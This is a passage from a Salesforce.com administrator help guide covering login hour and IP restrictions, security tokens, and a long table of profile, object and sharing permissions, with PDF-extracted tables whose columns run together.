If users can see alerts and they have logged in to Salesforce.com from the client in the past, an alert banner automatically
appears in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users
can download and run installer files. Users can also click Setup ➤ Desktop Integration ➤ Check for Updates, regardless of
whether an alert has occurred.

See Also:
Administrator tip sheet: Administering Salesforce Desktop Clients
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview

471
User Management Managing Profiles

Setting Login Restrictions


Available in: All Editions

User Permissions Needed


To set login restrictions: “Manage Users”

To help protect your organization's data against unauthorized access, you can restrict users’ ability to log in to Salesforce.com
by customizing user profiles and your organization's list of trusted IP addresses.
Profile-Based Login Hours and IP Addresses
For each profile, you can set the hours when users can log in and the IP addresses from which they can log in.

Organization-Wide Trusted IP Address List


For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge.

When users log in to Salesforce.com, either via the user interface, the API, or a desktop client such as Connect for Outlook,
Salesforce CRM for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader,
Salesforce.com confirms that the login is authorized as follows:

1. Salesforce.com checks whether the user's profile has login hour restrictions. If login hour restrictions are specified for the
user's profile, any login outside the specified hours is denied.
2. Salesforce.com then checks whether the user's profile has IP address restrictions. If IP address restrictions are defined for
the user's profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed.
3. If profile-based IP address restrictions are not set, Salesforce.com checks whether the user is logging in from an IP address
they have not used to access Salesforce.com before:

• If the user's login is from a browser that includes a Salesforce.com cookie, the login is allowed. The browser will have
the Salesforce.com cookie if the user has previously used that browser to log in to Salesforce.com, and has not cleared
the browser cookies.
• If the user's login is from an IP address in your organization's trusted IP address list, the login is allowed.
• If the user's login is from neither a trusted IP address nor a browser with a Salesforce.com cookie, the login is blocked.

Whenever a login is blocked or returns an API login fault, Salesforce.com must verify the user's identity:

• For access via the user interface, the user is prompted to click a Send Activation Link button to send an activation email
to the address specified on the user's Salesforce.com record. The email instructs the user to copy and paste an activation
link into their browser to activate their computer for logging in to Salesforce.com. The activation link included in the email
is valid for up to 24 hours from the time the user clicked the Send Activation Link button. After 24 hours, the activation
link expires, and users must repeat the activation process to log in.
Note: The first time a user logs into Salesforce.com, they do not have to activate their computer. However, the
next time a user logs in, they must activate their computer using the Send Activation Link button.

472
User Management Managing Profiles

• For access via the API or a client, the user must add their security token to the end of their password in order to log in. A
security token is an automatically-generated key from Salesforce.com. For example, if a user's password is mypassword,
and their security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in.
Users can obtain their security token by changing their password or resetting their security token via the Salesforce.com
user interface. When a user changes their password or resets their security token, Salesforce.com sends a new security token
to the email address on the user's Salesforce.com record. The security token is valid until a user resets their security token,
changes their password, or has their password reset.
Tip: It is recommended that you obtain your security token via the Salesforce.com user interface from a trusted
network prior to attempting to access Salesforce.com from a new IP address.

Tips on Setting Login Restrictions


Consider the following when setting login restrictions:
• When a user's password is changed, the user's security token is automatically reset. The user may experience a blocked
login until he or she adds the automatically-generated security token to the end of his or her password when logging in to
Salesforce.com via the API or a client.
• Partner portal and Customer Portal users are not required to activate computers to log in.
• For more information on API login faults, see the Core Data Types Used in API Calls topic in the Web Services API
Developer's Guide.
• If single sign-on is enabled for your organization, API and desktop client users cannot log in to Salesforce.com unless their
IP address is included on your organization's list of trusted IP addresses or on their profile, if their profile has IP address
restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the “Is Single
Sign-On Enabled” permission. However, if the security token is enabled for your organization, then your organization's
login lockout settings determine the number of times a user can attempt to log in with an invalid security token before
being locked out of Salesforce.com.
• The following events count toward the number of times a user can attempt to log in with an invalid password before being
locked out of Salesforce.com, as defined in your organization's login lockout settings:
- Each time a user is prompted to click the Send Activation Link button
- Each time a user incorrectly adds their security token to the end of their password to log into the API or a client

See Also:
Restricting Login IP Ranges for Your Organization
Restricting Login Hours
Restricting Login IP Ranges on Profiles
Resetting Your Security Token
Administrator setup guide: Security Implementation Guide

473
User Management Managing Profiles

Restricting Login Hours

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set login hours: “Manage Users”

You can set the hours when users with a particular profile can use the system.

1. Click Setup ➤ Manage Users ➤ Profiles, and select a profile.


2. Click Edit in the Login Hours related list.
3. Set the days and hours when users with this profile can use the system.
The hours are exact times based on the Default Time Zone of the company as specified at Setup ➤ Company Profile
➤ Company Information. The hours are always applied at those exact times even if a user is in a different time zone or
if the company's Default Time Zone is changed.
To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set
the start and end times to the same value.
4. Click Save.

Note: If a user logs in before the restricted hours, the system ends the user’s session when the restricted hours begin.

See Also:
Restricting Login IP Ranges on Profiles
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide

Restricting Login IP Ranges on Profiles

Available in: All Editions

User Permissions Needed


To set login IP ranges: “Manage Users”

You can set the IP addresses from which users with a particular profile can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To
set IP addresses on profiles:

1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition:

474
User Management Administrative and General Permissions on Profiles

• If you're using Enterprise Edition, Unlimited Edition, or Developer Edition, click Setup ➤ Manage Users ➤ Profiles,
and select a profile. Then click New in the Login IP Ranges related list.
• For Professional Edition, Group Edition, and Personal Edition, click Setup ➤ Security Controls ➤ Session Settings,
and then click New in the Login IP Ranges related list.

2. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from
a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0
as both the start and end addresses.
The start and end IP addresses must include no more than 33,554,432 addresses (225). For example, the following ranges
are valid:

• 0.0.0.0 to 1.255.255.255
• 132.0.0.0 to 132.255.255.255
• 132.0.0.0 to 133.255.255.255

However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.
Note: The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and
Visualforce pages, the mobile application initiates a secure connection to Salesforce.com over the mobile carrier's
network , but the mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile.

3. Click Save.

Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile
has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only
within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static
resources to expire from the Salesforce.com cache and any intermediate caches.

See Also:
Restricting Login IP Ranges for Your Organization
Restricting Login Hours
Setting Login Restrictions
Setting Session Security
Administrator setup guide: Security Implementation Guide

Administrative and General Permissions on Profiles


The standard profiles available vary according to which Edition you have.

The following table shows the administrative and general permissions associated with each standard profile.

475
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Activate Contracts Change contract status to Change contract status to System Administrator
Activated. Activate;
Contract Manager
Create, edit and delete
contracts

Affected by Divisions Filter search results, list views, Filter a user’s search results, System Administrator
and reports by division. list views, and reports by
Standard User
division. With this permission
deselected, a user’s searches, Solution Manager
list views, and reports always Marketing User
show records in all divisions.
Contract Manager
Enterprise, Unlimited, and
Developer Edition
organizations can edit this user
permission on standard and
custom profiles

API Enabled Access the Web services API. Grants access to the API, System Administrator
Bulk API, and Metadata API
API Only User Access Salesforce.com only Access Salesforce.com only via None
through the Web services API the Web services API or Bulk
or Bulk API. API
Approve Contracts Approve or reject a contract Apply an approved status to a System Administrator
from a related list. contract
Contract Manager

Author Apex Create Apex classes and Can modify and deploy Apex System Administrator
triggers. classes and triggers, set
security on Apex classes, and
create email services
Background Report Export Allows users to run reports in Run reports in the System Administrator
the background, and export background, and export results
results as a CSV or Excel file as a CSV or Excel file on
on completion. completion
Bulk API Hard Delete Delete records in the Bulk Delete records without storing None
API without storing them in them in the Recycle Bin,
the Recycle Bin. making them eligible for
immediate deletion.
Convert Leads Convert leads into accounts, Convert leads into accounts, System Administrator
contacts, and opportunities. contacts, and opportunities
Standard User
Solution Manager
Marketing User
Contract Manager

476
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Create and Customize Reports Create, edit, and delete View the Reports tab; System Administrator
reports.
Run, create, edit, save, and Standard User
delete reports;
Solution Manager
View dashboards based on
Marketing User
reports
Read Only
Contract Manager

Create and Upload Change Create and upload a change Create a change set, add System Administrator
Sets set. components to it, and upload
it
Create AppExchange Create packages that can be Create AppExchange System Administrator
Packages distributed through packages
AppExchange.
Create Workspaces Create Salesforce CRM Create Salesforce CRM System Administrator
Content workspaces. Content workspaces
Customize Application Customize the organization Edit messages and custom System Administrator
using App Setup menu links;
options.
Modify standard picklist
values;
Create, edit, and delete
custom fields;
Create, edit, and delete page
layouts (also requires the
“Edit” permission for the
record, for example, “Edit” on
accounts);
Set field-level security;
Create, edit, and delete
custom links;
Edit the Lead Settings;
Activate big deal alerts;
Create record types;
Set up Web-to-Case and
email response rules;
Set up Web-to-Lead and
email response rules;
Set up assignment and
escalation rules;

477
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Set up business hours;
Set up Email-to-Case or
On-Demand Email-to-Case;
Edit Self-Service page layouts
and portal color theme (also
requires the “Manage
Self-Service Portal”
permission to set up and
maintain Self-Service settings
and delete your organization's
Self-Closed Case Status
value);
Set up and enable multilingual
solutions;
Set up team selling;
Set up account teams;
Map custom lead fields;
Manage queues;
Create, edit, and delete
workflow rules, tasks, field
updates, outbound messages,
and alerts;
Create, edit, and delete
custom s-controls, custom
objects, and custom tabs;
Rename tabs;
Manage custom apps;
Create and edit public
calendars and resources;
Set up the console;
Enable, set up, and modify the
Salesforce.com Customer
Portal;
Set up and schedule analytic
snapshots to run;
Create communities for ideas
and answers;
Create Visualforce email
templates

478
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Delegated Portal User Manage portal users who Allows Customer Portal and None
Administrator belong to the same portal Partner Portal users to create,
account. edit, deactivate, and reset
passwords for other portal
users (also requires “Portal
Super User” to create and view
cases for Customer Portal
users)
Delete Activated Contracts Delete contracts, regardless of Delete contracts regardless of System Administrator
their status. status;
Activate, create, and edit
contracts

Deliver Uploaded Files and Enables non-Content users to Non-Content users can create System Administrator
Personal Content create content deliveries, and content deliveries;
Standard User
enables Salesforce CRM
Salesforce CRM Content
Content users to create Solution Manager
users can create content
content deliveries using
deliveries using documents in Marketing User
documents in their personal
their personal workspaces
workspaces. Read Only
Salesforce CRM Content Contract Manager
users don't need this
permission to create content
deliveries in shared
workspaces.

Deploy Change Sets Deploy change sets. Deploy change sets sent from System Administrator
another organization
Download AppExchange Install or uninstall Install or uninstall System Administrator
Packages AppExchange packages as AppExchange packages from
system administrators. the AppExchange
Drag-and-Drop Dashboard Create, edit, and delete Create, edit, and delete System Administrator
Builder dashboards through the dashboards using the
drag-and-drop dashboard dashboard builder interface
builder interface.
Edit Case Comments Edit their own case comments Enables users to edit and None
but not other user's comments. delete case comments that
they have added to cases (also
requires “Edit” on cases)
Edit Events Create, edit, and delete events. Create, edit, and delete events System Administrator
Standard User
Solution Manager
Marketing User

479
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Contract Manager

Edit Forecasts Create, edit, and delete Create, edit, and delete System Administrator
non-customizable forecasts. forecasts.
Standard User
This permission is not
Solution Manager
available for customizable
forecasts. When you convert Marketing User
to customizable forecasts, Contract Manager
custom profiles that have the
“Edit Forecasts” permission
get the “Edit Personal Quota”
and “Override Forecasts”
permissions.

Edit HTML Templates Create, edit, and delete Create, edit, and delete both System Administrator
HTML email templates. custom HTML templates and
Marketing User
HTML email templates using
letterheads
Edit Opportunity Product Change the sales price on Enable users to change the System Administrator
Sales Prices opportunity line items. sales price on products
Standard User
Solution Manager
Marketing User
Contract Manager

Edit Personal Quota Change their quota for Change your individual quota System Administrator
customizable forecasts. (available only for
Standard User
customizable forecasts)
Solution Manager
Marketing User
Contract Manager

Edit Read Only Fields Edit fields that are read only Edit fields marked as read only System Administrator
due to page layouts or (by field-level security or by
field-level security. the page layout) for all other
users
Edit Self-Service Users Enable and disable contacts For the Self-Service portal: System Administrator
for Self-Service and Customer enable and deactivate contacts;
Standard User
Portal access.
For the Salesforce.com
Solution Manager
Customer Portal: enable,
disable, and deactivate Marketing User
contacts; disable accounts; Contract Manager
merge Customer Portal users

480
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


(also requires “Delete” on
contacts)

Edit Tasks Create, edit, and delete tasks. Create, edit, and delete tasks System Administrator
Standard User
Solution Manager
Marketing User
Contract Manager

Export Reports Use Export Details and Use Export Details and System Administrator
Printable View to export Printable View to export
Standard User
reports. reports
Solution Manager
Marketing User
Contract Manager

Import Leads Import leads and update Import leads and update System Administrator
campaign history. campaign history using the
Marketing User
import wizard
Import Personal Contacts Import personal accounts and Import personal accounts and System Administrator
contacts. contacts using the import
Standard User
wizard
Solution Manager
Marketing User
Contract Manager

Import Solutions Import solutions for the Import solutions for the System Administrator
organization. organization using the import
Solution Manager
wizard
IP Restrict Request Allows a user to further Restrict access to PRM portal Partner
restrict what IP addresses can
access the PRM portal.
Is Single Sign-On: Enabled Delegate username and Username and password None
password authentication to a authentication is delegated to
corporate database instead of a corporate database such as
the Salesforce.com user Active Directory® or LDAP,
database. instead of the Salesforce.com
user database. See About
Single Sign-On on page 547.
Manage Analytic Snapshots Create, edit, and delete Set up and schedule analytic System Administrator
analytic snapshots. snapshots to run (also requires
the “Schedule Dashboards”,

481
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


“Run Reports”, and “View
Setup and Configuration”
permissions)
Manage Articles Create, edit, assign, publish, Create, edit, assign, publish, None
delete, and archive Salesforce delete, and archive Salesforce
Knowledge articles. Knowledge articles
This permission provides full
access to the Article
Management tab

Manage Billing Purchase additional licenses Add user licenses; System Administrator
and features.
Edit billing and credit card
information;
Grant Checkout access

Manage Business Hours Create, edit, and delete Create and edit business System Administrator
Holidays business holidays. hours; create, edit, and delete
holidays (also requires “View
Setup and Configuration”)
Manage Call Centers Create, import, edit, and Import, view, edit, and delete System Administrator
delete a call center a call center (also requires
configuration. “View Setup and
Configuration”)
Manage Cases Administer case settings, Set support business hours; System Administrator
including Email-to-Case and
Edit support settings;
mass transfer of cases.
Set up Email-to-Case;
Perform actions on multiple
cases in a list view, such as
mass transfer of cases
Close multiple cases

Manage Categories Define and modify solution Define and modify solution System Administrator
categories settings. categories;
Edit Solution Settings to
enable solution browsing
This permission only applies
to solution categories, not data
categories

Manage Connections Allows a user to create and Create, update, and deactivate System Administrator
update connections and Salesforce to Salesforce

482
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


templates in Salesforce to connections and create and
Salesforce. update connection templates
Manage Content Permissions Create, edit, and delete Create, edit, and delete System Administrator
workspace permissions in workspace permissions in
Salesforce CRM Content. Salesforce CRM Content
Manage Content Properties Create, edit, and delete Create, edit, and delete System Administrator
custom fields in Salesforce custom fields in Salesforce
CRM Content. CRM Content
Manage Content Types Create, edit, and delete Create, edit, and delete System Administrator
content types in Salesforce content types in Salesforce
CRM Content. CRM Content
Manage Custom Report Create and edit custom report Create and edit custom report System Administrator
Types types. types (also requires “View
Setup and Configuration” to
view the organization Setup
pages where custom report
types are managed; also
requires “Modify All Data” to
delete custom report types, as
all reports and dashboard
components using that report
type are deleted as well)
Manage Dashboards Create, edit, and delete the Create, edit, and delete System Administrator
user's personal dashboards. dashboards (also requires
“Modify All Data” to edit a
dashboard created by another
user)
Manage Data Categories Create, edit, and delete data Create, edit, and delete data System Administrator
categories. categories
This permission only applies
to data categories, not solution
categories

Manage Data Integrations Monitor or abort Bulk API Monitor or abort Bulk API System Administrator
jobs. jobs;
Grant access to Bulk API
monitoring pages

Manage Dynamic Dashboards Create, edit, and delete Create, edit, and delete System Administrator
dynamic dashboards. dynamic dashboards
Manage Email Client Create, edit, and delete Create, edit, and delete System Administrator
Configurations Outlook configurations for Outlook configurations for
Salesforce CRM for Outlook. Salesforce CRM for Outlook.

483
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Salesforce CRM for Outlook
is available through a pilot
program. For information on
enabling Salesforce CRM for
Outlook for your organization,
contact salesforce.com.
Manage Entitlements Enable, create, and update Set up and maintain System Administrator
entitlement management entitlement management;
items.
Enable and disable
entitlement management,
including entitlements, service
contracts, and contract line
items;
Create, edit, and delete
entitlement templates;
Create, edit, and delete
milestones;
Create, edit, and delete
entitlement processes

Manage Leads Change the status of multiple Change Status of multiple System Administrator
leads in a list view. leads in a list view
Manage Letterheads Create, edit, and delete Create, edit, and delete System Administrator
letterheads for HTML emails. letterheads for HTML emails
Marketing User

Manage Mobile Manage Salesforce Mobile Create, edit, and delete mobile System Administrator
Configurations users and devices. configurations for Salesforce
Mobile;
Manage mobile settings

Manage Package Licenses Manage package licenses in Grant or revoke user licenses System Administrator
subscriber organizations. for an installed app in a
managed package
Manage Partners Create partner accounts and Create partner accounts and System Administrator
partner users. partner users;
Disable partner accounts and
partner users;
Merge partner users (also
requires “Delete” on contacts)

Manage Public Documents Create, edit, and delete folders Create, edit, and delete public System Administrator
for public documents. document folders
Marketing User

484
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Manage Public List Views Create, edit, and delete public Create, edit, and delete public System Administrator
list views. list views
Manage Public Reports Create, edit, and delete public Create, edit, and delete public System Administrator
reports. reports;
Customize the Reports tab

Manage Public Templates Create, edit, and delete text Create, edit, and delete text System Administrator
emails, mail merge templates, email and mail merge
Marketing User
and folders for public email templates;
templates.
Edit public folders for email
templates and store email
templates in folders

Manage Published Solutions Create, edit, and delete Create, edit, and delete System Administrator
publicly accessible solutions. solutions that are accessible to
Solution Manager
the public on your Self-Service
portal or website;
Categorize solutions

Manage Remote Access Manage, create, edit and Manage, create, edit and System Administrator
delete remote access delete remote access
applications. applications that define
integrations of external
applications which access
Salesforce.com using the
OAuth protocol.
Manage Salesforce CRM Create, edit, and delete Create, edit, and delete System Administrator
Content workspaces and workspace workspaces;
memberships.
Edit workspace membership

Manage Salesforce Knowledge Manage Salesforce Knowledge Enable Salesforce Knowledge System Administrator
settings, and create, edit, and
Create, edit, and delete article
delete article types.
types
Edit settings

Manage Self-Service Portal Manage Self-Service portal Set up and maintain System Administrator
settings and reports. Self-Service settings (also
requires the “Customize
Application” permission to
modify Self-Service page
layouts and delete your
organization's Self-Closed
Case Status value);
Run Self-Service reports

485
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Manage Synonyms Create, edit, and delete Create, edit, and delete System Administrator
synonym groups. synonym groups
Manage Territories Manage territory Create and edit territories; System Administrator
configurations.
Add and remove users from
territories;
Create and edit account
assignment rules;
Manually assign accounts to
territories;
Configure organization-wide
territory management settings

Manage Translation Manage translated labels in Add supported languages and System Administrator
the Translation Workbench. translators, see Adding and
Editing Translated Languages
and Translators;
Enter translated values for any
supported language;
Translate solution categories

Manage Users Create, edit, and deactivate Create, edit, and deactivate System Administrator
users, and manage security users;
settings, including profiles and
Define and assign user roles;
roles.
Define sharing model and
sharing rules;
View storage use;
View login history;
View training history;
Manage and assign profiles;
Assign page layouts to
profiles;
Set password policies;
Activate or deactivate
opportunity update reminders;
Set login restrictions

Mass Edits from Lists Edit multiple records Edit two or more records System Administrator
simultaneously from a list with simultaneously from a list with
Standard User
inline editing. inline editing
Solution Manager

486
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Marketing User
Contract Manager,
Standard Platform User
Standard Platform One App
User

Mass Email Send mass emails to contacts Send bulk emails to contacts System Administrator
and leads. and leads
Standard User
Solution Manager
Marketing User
Contract Manager

Modify All Data Create, edit, and delete all Create, edit, and delete all System Administrator
organization data, regardless data;
of sharing settings.
Import accounts and contacts
for organization;
Mass update addresses (also
requires “Activate Contract”
and “Activate Order” to
update the addresses of
contracts and orders);
Mass delete data;
Undelete other users’ data;
Create and edit divisions, and
transfer divisions for multiple
records;
Create an organization-wide
email address

Override Forecasts Override personal forecasts Override your own forecast, as System Administrator
and forecasts for users who well as forecasts for users that
Standard User
report directly to them in the report directly to you in the
role hierarchy. role hierarchy (available only Solution Manager
for customizable forecasts) Marketing User
Contract Manager

Password Never Expires Prevent the user's password Prevent password from ever None
from expiring. expiring
Portal Super User Allows Customer Portal users View and edit cases for their None
to view and edit all cases for account
their account.

487
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Products Show in Offline Make products and price Specify if products and price System Administrator
books available in Connect books are available in Connect
Standard User
Offline. Offline
Solution Manager
Marketing User
Read Only
Contract Manager

Report Builder Create, edit, and delete reports Create, edit, and delete reports System Administrator
through the drag-and-drop using the report builder
Standard User
report builder interface. interface
Solution Manager
Marketing User
Contract Manager

Run Reports Run reports and dashboards. View the Reports tab; System Administrator
Run reports; Standard User
View dashboards based on Solution Manager
reports
Marketing User
Read Only
Contract Manager

Schedule Dashboards Schedule when dashboards Schedule when dashboards System Administrator
refresh, and send email refresh and send email
notifications that include notifications to users that
refreshed dashboards in include refreshed dashboards
HTML format. in HTML format
Schedule Reports Schedule reports to run and Schedule reports to run and System Administrator
have the results emailed to have the results emailed in
Salesforce.com users. HTML format to
Salesforce.com users
Send Email Send email to a single contact Send email to a single contact System Administrator
or lead. or lead;
Standard User
Send Stay-in-Touch update
Solution Manager
emails;
Marketing User
Request a meeting
Contract Manager

Send Outbound Messages Send outbound messages to Send outbound messages, such System Administrator
an external Web service API. as when you close an
Standard User
opportunity and need to send
an outbound API message to Solution Manager

488
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


another server to generate an Marketing User
order. See “Setting Up
Read Only
Outbound Messaging” in the
Web Services API Developer's Contract Manager
Guide. Standard Platform User
Standard Platform One App
User

Send Stay-in-Touch Requests Send Stay-in-Touch update Send Stay-in-Touch email System Administrator
emails. requests
Standard User
Solution Manager
Marketing User
Contract Manager

Show Custom Sidebar On All Display a custom sidebar on If users have custom home None
Pages all pages in Salesforce.com. page layouts that include
components in the sidebar,
displays their custom sidebar
on all pages in Salesforce.com.
If the Show Custom
Sidebar Components on
All Pages user interface
setting is selected, the “Show
Customer Sidebar On All
Pages” permission is not
available.
Single Sign-On: Delegated Delegate username and Username and password None
Authentication password authentication to a authentication is delegated to
corporate database instead of a corporate database such as
the Salesforce.com user Active Directory® or LDAP,
database. instead of the Salesforce.com
user database. See About
Single Sign-On on page 547.
Tag Manager Manage the configuration of Rename, delete, or restore System Administrator
private and public tags. public tags (available only
when public tags are enabled)
Transfer Cases Change a case's owner. Transfer one or more cases System Administrator
that are owned by another
user, if you also have at least
the “Edit” object permission
and access to view the records
Transfer Leads Change a lead's owner. Transfer one or more leads System Administrator
that are owned by another

489
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


user, if you also have at least
the “Edit” object permission
and access to view the records
Transfer Record Change the owner of most Transfer ownership of one or System Administrator
records. more accounts, campaigns,
cases, contacts, contracts,
leads, and custom objects that
are owned by another user
To transfer records owned by
another user, you must also
have at least the “Edit” object
permission and access to view
the records

Upload AppExchange Upload packages to Upload AppExchange System Administrator


Packages AppExchange for distribution. packages to AppExchange;
Create test drives
To push upgrades
To create patch development
organizations

Use Team Reassignment Mass reassign account team Mass reassign account team System Administrator
Wizards and opportunity team and opportunity team
members. members
View All Data View all organizational data, View all data owned by other System Administrator
regardless of sharing settings. users
View All Forecasts View any user's forecast, View any user’s forecast System Administrator
regardless of the forecast role regardless of the forecast role
hierarchy. hierarchy.
This permission is only
available for customizable
forecasts. When you convert
to customizable forecasts,
custom profiles that have the
“View All Data” permission
get the “View All Forecasts”
permissions.

View Articles View Salesforce Knowledge View Salesforce Knowledge System Administrator
articles. articles in the Articles tab or
Standard User
Articles related list.
Solution Manager
This permission provides full
access to the Articles tab. Marketing User

490
User Management Administrative and General Permissions on Profiles

Permission Name Description Functions Controlled Profiles


Contract Manager

View Content in Portals View Salesforce CRM Allows Customer Portal and None
Content from a portal. Partner Portal users to view
Salesforce CRM Content
View Data Categories View the Data Categories View the Setup ➤ Customize System Administrator
page. ➤ Data Categories page
This permission only applies
to data categories, not solution
categories

View Encrypted Data View the value of encrypted View the value of encrypted None
fields in plain text. fields in plain text
View Setup and Configuration View the App Setup and View the organization setup System Administrator
Administrative Settings pages. details on the Setup pages;
Standard User
Run user reports;
Solution Manager
View the setup audit trail;
Marketing User
Check field accessibility for
Read Only
users
Contract Manager

Weekly Data Export Run the weekly data export Run the weekly data export System Administrator
service. service

See Also:
Object Permissions on Profiles
Managing Profiles
Viewing and Editing Profiles
Standard Profiles
Viewing User License Types

Key Profile Permissions


Available in: All Editions

Profiles contain administrative permissions and general user permissions, which in turn control what actions a user can take.
There are several permissions that are particularly powerful and deserve special discussion.

491
User Management Object Permissions on Profiles

Caution: Permissions expand access to data. Exercise caution when deciding to enable permissions for a profile.

Manage Users
Users with this permission can grant any other permission to themselves and other users. This permission makes a user
a super administrator.

Customize Application
This permission grants a broad range of permissions that allow a user to control all aspects of an application from creating,
editing, and deleting custom fields, to implementing workflow rules. Application developers need this permission, but
you should be aware of the range of operations this permission grants.

Modify All Data


This permission overrides any restrictions on modifying data in all objects. It also circumvents the entire sharing system.
If you only need to give users the ability to modify all data for a particular object, you can assign “Modify All” on the
object.

View All Data


This permission overrides any restrictions on viewing data in all objects. It also circumvents the entire sharing system.
If you only need to give users the ability to view all data for a particular object, you can assign “View All” on the object.

Edit Read Only Fields


This permission allows users to edit fields marked as read-only by field-level security or by the page layout.

View Encrypted Data


This permission allows users to view data in encrypted fields as plain-text data.

See Also:
Managing Profiles
Viewing and Editing Profiles

Object Permissions on Profiles


Available in: All Editions

The following permissions specify the access that users have to standard and custom objects. These permissions either respect
or override the sharing model.

Permission Description Respects or Overrides


Sharing?
Read Users can only view records of this type. Respects sharing
Create Users can read and create records. Respects sharing
Edit Users can read and update records. Respects sharing

492
User Management Object Permissions on Profiles

Permission Description Respects or Overrides


Sharing?
Delete Users can read, edit, and delete records. Respects sharing
View All Users can view all records associated with this object, regardless Overrides sharing
of sharing settings.
Modify All Users can read, edit, delete, transfer, and approve all records Overrides sharing
associated with this object, regardless of sharing settings.
Note: “Modify All” on documents allows access to
all shared and public folders, but not the ability to edit
folder properties or create new folders. To edit folder
properties and create new folders, users must have the
“Manage Public Documents” permission.

Note: In Enterprise, Unlimited, and Developer Editions, when you create a custom object, its object permissions are
disabled in most profiles (all except those where “View All Data” or “Modify All Data” is enabled). You can change
these permissions in custom profiles, but not standard profiles. That is, users with standard profiles (except System
Administrator) can't access new custom objects—you must assign them custom profiles and edit the profiles. To enable
access to custom objects, do one of the following:

• For users with standard profiles:

1. Clone the profiles of the users whose object permissions you want to change.
2. Edit the custom profiles, enabling the permissions you want.
Tip: If enhanced profile management is enabled for your organization, you can change permissions
for multiple profiles from the list view.

3. Edit the users' accounts, assigning the appropriate cloned custom profiles.

• For users with custom profiles, simply edit their profiles, enabling the permissions you want.

About “View All” and “Modify All”


The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to quickly grant access
to records associated with a given object across the organization. These permissions may be preferable alternatives to the “View
All Data” and “Modify All Data” administrative permissions. Be aware of the following distinctions between the permission
types.

Permissions Used for Users who should have these permissions


View All Delegation of object permissions Delegated administrators who need to manage
records for specific objects
Modify All

View All Data Managing all data in an organization; for example, Administrators of an entire organization
data cleansing, deduplication, mass deletion, mass
Modify All Data
transferring, and managing record approvals

493
User Management Object Permissions on Profiles

Note:
• “View All” and “Modify All” are not available for ideas, price books, and products.
• “View All” and “Modify All” allow for delegation of object permissions only. To delegate user administration and
custom object administration duties, define delegated administrators.
• If your organization has deployed Salesforce Mobile, you can edit the mobile object properties to prevent mobile
users from creating, editing, and deleting records in the mobile application, regardless of their standard object
permissions in Salesforce.com.

See Also:
Comparing Security Models
Managing Profiles
Viewing and Editing Profiles
Administrative and General Permissions on Profiles
Standard Profiles
Viewing User License Types

Comparing Security Models


Available in: Enterprise, Unlimited, and Developer Editions

Salesforce.com user security is an intersection of sharing, and administrative, general, and object permissions. In some cases,
such as in end-user record level access, it is advantageous to use sharing to provide access to records. In other cases, such as
when delegating record administration tasks like transferring records, cleansing data, deduplicating records, mass deleting
records, and delegating workflow approval processes, it is advantageous to override sharing and use permissions to provide
access to records.
In profile permissions for standard and custom objects, the “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing
settings, which control access to data at the record level. The “View All” and “Modify All” permissions override sharing settings
for specific objects. Additionally, the “View All Data” and “Modify All Data” permissions override sharing settings for all
objects.
The following table describes the differences between the security models.

Permissions that Respect Sharing Permissions that Override Sharing


Target audience End-users Delegated data administrators
Where managed “Read,” “Create,” “Edit,” and “Delete” “View All” and “Modify All”
object permissions on profiles;
Sharing settings

Record access levels Private, Read-Only, Read/Write, “View All” and “Modify All”
Read/Write/Transfer/Full Access
Ability to transfer Respects sharing settings, which vary by Available on all objects with “Modify All”
object

494
User Management About Groups

Permissions that Respect Sharing Permissions that Override Sharing


Ability to approve records, or edit and None Available on all objects with “Modify All”
unlock records in an approval process
Ability to report on all records Available with a sharing rule that states: Available on all objects with “View All”
the records owned by the public group
“Entire Organization” are shared with a
specified group, with Read-Only access
Object support Available on all objects except products, Available on most objects in the Object
documents, solutions, ideas, notes, and Permissions sections of Profiles
attachments
Note: “View All” and “Modify
All” are not available for ideas,
price books, and products.

Group access levels determined by Roles, Roles and Subordinates, Roles and Profile
Internal Subordinates, Roles, Internal
and Portal Subordinates, Queues, Teams,
and Public Groups
Private record access Not available Available on private contacts,
opportunities, and notes and attachments
with “View All” and “Modify All”
Ability to manually share records Available to the record owner and any Available on all objects with “Modify All”
